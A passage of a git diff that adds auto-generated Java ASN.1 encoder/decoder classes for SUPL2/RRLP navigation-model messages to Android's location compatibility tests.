+ return "sbagYgDotDot : "
+ + getSbagYgDotDot().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 10);
+
+ @Override public boolean isExplicitlySet() {
+ return getSbasZgDotDot() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getSbasZgDotDot();
+ }
+
+ @Override public void setToNewInstance() {
+ setSbasZgDotDotToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? NavModel_SBASecef.sbasZgDotDotType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "sbasZgDotDot : "
+ + getSbasZgDotDot().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class sbasToType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_sbasToType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public sbasToType() {
+ super();
+ setValueRange("0", "5399");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_sbasToType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_sbasToType != null) {
+ return ImmutableList.of(TAG_sbasToType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new sbasToType from encoded stream.
+ */
+ public static sbasToType fromPerUnaligned(byte[] encodedBytes) {
+ sbasToType result = new sbasToType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new sbasToType from encoded stream.
+ */
+ public static sbasToType fromPerAligned(byte[] encodedBytes) {
+ sbasToType result = new sbasToType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "sbasToType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class sbasAccuracyType extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_sbasAccuracyType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public sbasAccuracyType() {
+ super();
+ setMinSize(4);
+setMaxSize(4);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_sbasAccuracyType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_sbasAccuracyType != null) {
+ return ImmutableList.of(TAG_sbasAccuracyType);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new sbasAccuracyType from encoded stream.
+ */
+ public static sbasAccuracyType fromPerUnaligned(byte[] encodedBytes) {
+ sbasAccuracyType result = new sbasAccuracyType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new sbasAccuracyType from encoded stream.
+ */
+ public static sbasAccuracyType fromPerAligned(byte[] encodedBytes) {
+ sbasAccuracyType result = new sbasAccuracyType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "sbasAccuracyType = " + getValue() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class sbasXgType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_sbasXgType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public sbasXgType() {
+ super();
+ setValueRange("-536870912", "536870911");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_sbasXgType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_sbasXgType != null) {
+ return ImmutableList.of(TAG_sbasXgType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new sbasXgType from encoded stream.
+ */
+ public static sbasXgType fromPerUnaligned(byte[] encodedBytes) {
+ sbasXgType result = new sbasXgType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new sbasXgType from encoded stream.
+ */
+ public static sbasXgType fromPerAligned(byte[] encodedBytes) {
+ sbasXgType result = new sbasXgType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "sbasXgType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class sbasYgType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_sbasYgType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public sbasYgType() {
+ super();
+ setValueRange("-536870912", "536870911");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_sbasYgType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_sbasYgType != null) {
+ return ImmutableList.of(TAG_sbasYgType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new sbasYgType from encoded stream.
+ */
+ public static sbasYgType fromPerUnaligned(byte[] encodedBytes) {
+ sbasYgType result = new sbasYgType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new sbasYgType from encoded stream.
+ */
+ public static sbasYgType fromPerAligned(byte[] encodedBytes) {
+ sbasYgType result = new sbasYgType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "sbasYgType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class sbasZgType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_sbasZgType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public sbasZgType() {
+ super();
+ setValueRange("-16777216", "16777215");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_sbasZgType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_sbasZgType != null) {
+ return ImmutableList.of(TAG_sbasZgType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new sbasZgType from encoded stream.
+ */
+ public static sbasZgType fromPerUnaligned(byte[] encodedBytes) {
+ sbasZgType result = new sbasZgType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new sbasZgType from encoded stream.
+ */
+ public static sbasZgType fromPerAligned(byte[] encodedBytes) {
+ sbasZgType result = new sbasZgType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "sbasZgType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class sbasXgDotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_sbasXgDotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public sbasXgDotType() {
+ super();
+ setValueRange("-65536", "65535");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_sbasXgDotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_sbasXgDotType != null) {
+ return ImmutableList.of(TAG_sbasXgDotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new sbasXgDotType from encoded stream.
+ */
+ public static sbasXgDotType fromPerUnaligned(byte[] encodedBytes) {
+ sbasXgDotType result = new sbasXgDotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new sbasXgDotType from encoded stream.
+ */
+ public static sbasXgDotType fromPerAligned(byte[] encodedBytes) {
+ sbasXgDotType result = new sbasXgDotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "sbasXgDotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class sbasYgDotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_sbasYgDotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public sbasYgDotType() {
+ super();
+ setValueRange("-65536", "65535");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_sbasYgDotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_sbasYgDotType != null) {
+ return ImmutableList.of(TAG_sbasYgDotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new sbasYgDotType from encoded stream.
+ */
+ public static sbasYgDotType fromPerUnaligned(byte[] encodedBytes) {
+ sbasYgDotType result = new sbasYgDotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new sbasYgDotType from encoded stream.
+ */
+ public static sbasYgDotType fromPerAligned(byte[] encodedBytes) {
+ sbasYgDotType result = new sbasYgDotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "sbasYgDotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class sbasZgDotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_sbasZgDotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public sbasZgDotType() {
+ super();
+ setValueRange("-131072", "131071");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_sbasZgDotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_sbasZgDotType != null) {
+ return ImmutableList.of(TAG_sbasZgDotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new sbasZgDotType from encoded stream.
+ */
+ public static sbasZgDotType fromPerUnaligned(byte[] encodedBytes) {
+ sbasZgDotType result = new sbasZgDotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new sbasZgDotType from encoded stream.
+ */
+ public static sbasZgDotType fromPerAligned(byte[] encodedBytes) {
+ sbasZgDotType result = new sbasZgDotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "sbasZgDotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class sbasXgDotDotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_sbasXgDotDotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public sbasXgDotDotType() {
+ super();
+ setValueRange("-512", "511");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_sbasXgDotDotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_sbasXgDotDotType != null) {
+ return ImmutableList.of(TAG_sbasXgDotDotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new sbasXgDotDotType from encoded stream.
+ */
+ public static sbasXgDotDotType fromPerUnaligned(byte[] encodedBytes) {
+ sbasXgDotDotType result = new sbasXgDotDotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new sbasXgDotDotType from encoded stream.
+ */
+ public static sbasXgDotDotType fromPerAligned(byte[] encodedBytes) {
+ sbasXgDotDotType result = new sbasXgDotDotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "sbasXgDotDotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class sbagYgDotDotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_sbagYgDotDotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public sbagYgDotDotType() {
+ super();
+ setValueRange("-512", "511");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_sbagYgDotDotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_sbagYgDotDotType != null) {
+ return ImmutableList.of(TAG_sbagYgDotDotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new sbagYgDotDotType from encoded stream.
+ */
+ public static sbagYgDotDotType fromPerUnaligned(byte[] encodedBytes) {
+ sbagYgDotDotType result = new sbagYgDotDotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new sbagYgDotDotType from encoded stream.
+ */
+ public static sbagYgDotDotType fromPerAligned(byte[] encodedBytes) {
+ sbagYgDotDotType result = new sbagYgDotDotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "sbagYgDotDotType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class sbasZgDotDotType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_sbasZgDotDotType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public sbasZgDotDotType() {
+ super();
+ setValueRange("-512", "511");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_sbasZgDotDotType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_sbasZgDotDotType != null) {
+ return ImmutableList.of(TAG_sbasZgDotDotType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new sbasZgDotDotType from encoded stream.
+ */
+ public static sbasZgDotDotType fromPerUnaligned(byte[] encodedBytes) {
+ sbasZgDotDotType result = new sbasZgDotDotType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new sbasZgDotDotType from encoded stream.
+ */
+ public static sbasZgDotDotType fromPerAligned(byte[] encodedBytes) {
+ sbasZgDotDotType result = new sbasZgDotDotType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "sbasZgDotDotType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("NavModel_SBASecef = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavigationModel.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavigationModel.java
new file mode 100755
index 0000000..ab464fe
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NavigationModel.java
@@ -0,0 +1,224 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class NavigationModel extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_NavigationModel
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public NavigationModel() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_NavigationModel;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_NavigationModel != null) {
+ return ImmutableList.of(TAG_NavigationModel);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new NavigationModel from encoded stream.
+ */
+ public static NavigationModel fromPerUnaligned(byte[] encodedBytes) {
+ NavigationModel result = new NavigationModel();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new NavigationModel from encoded stream.
+ */
+ public static NavigationModel fromPerAligned(byte[] encodedBytes) {
+ NavigationModel result = new NavigationModel();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private SeqOfNavModelElement navModelList_;
+ public SeqOfNavModelElement getNavModelList() {
+ return navModelList_;
+ }
+ /**
+ * @throws ClassCastException if value is not a SeqOfNavModelElement
+ */
+ public void setNavModelList(Asn1Object value) {
+ this.navModelList_ = (SeqOfNavModelElement) value;
+ }
+ public SeqOfNavModelElement setNavModelListToNewInstance() {
+ navModelList_ = new SeqOfNavModelElement();
+ return navModelList_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getNavModelList() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getNavModelList();
+ }
+
+ @Override public void setToNewInstance() {
+ setNavModelListToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? SeqOfNavModelElement.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "navModelList : "
+ + getNavModelList().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("NavigationModel = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NeighborIdentity.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NeighborIdentity.java
new file mode 100755
index 0000000..929c669
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/NeighborIdentity.java
@@ -0,0 +1,546 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Choice;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.ChoiceComponent;
+import com.google.common.collect.ImmutableList;
+import java.nio.ByteBuffer;
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.Map;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class NeighborIdentity extends Asn1Choice {
+ //
+
+ private static final Asn1Tag TAG_NeighborIdentity
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ private static final Map<Asn1Tag, Select> tagToSelection = new HashMap<>();
+
+ private boolean extension;
+ private ChoiceComponent selection;
+ private Asn1Object element;
+
+ static {
+ for (Select select : Select.values()) {
+ for (Asn1Tag tag : select.getPossibleFirstTags()) {
+ Select select0;
+ if ((select0 = tagToSelection.put(tag, select)) != null) {
+ throw new IllegalStateException(
+ "NeighborIdentity: " + tag + " maps to both " + select0 + " and " + select);
+ }
+ }
+ }
+ }
+
+ public NeighborIdentity() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_NeighborIdentity;
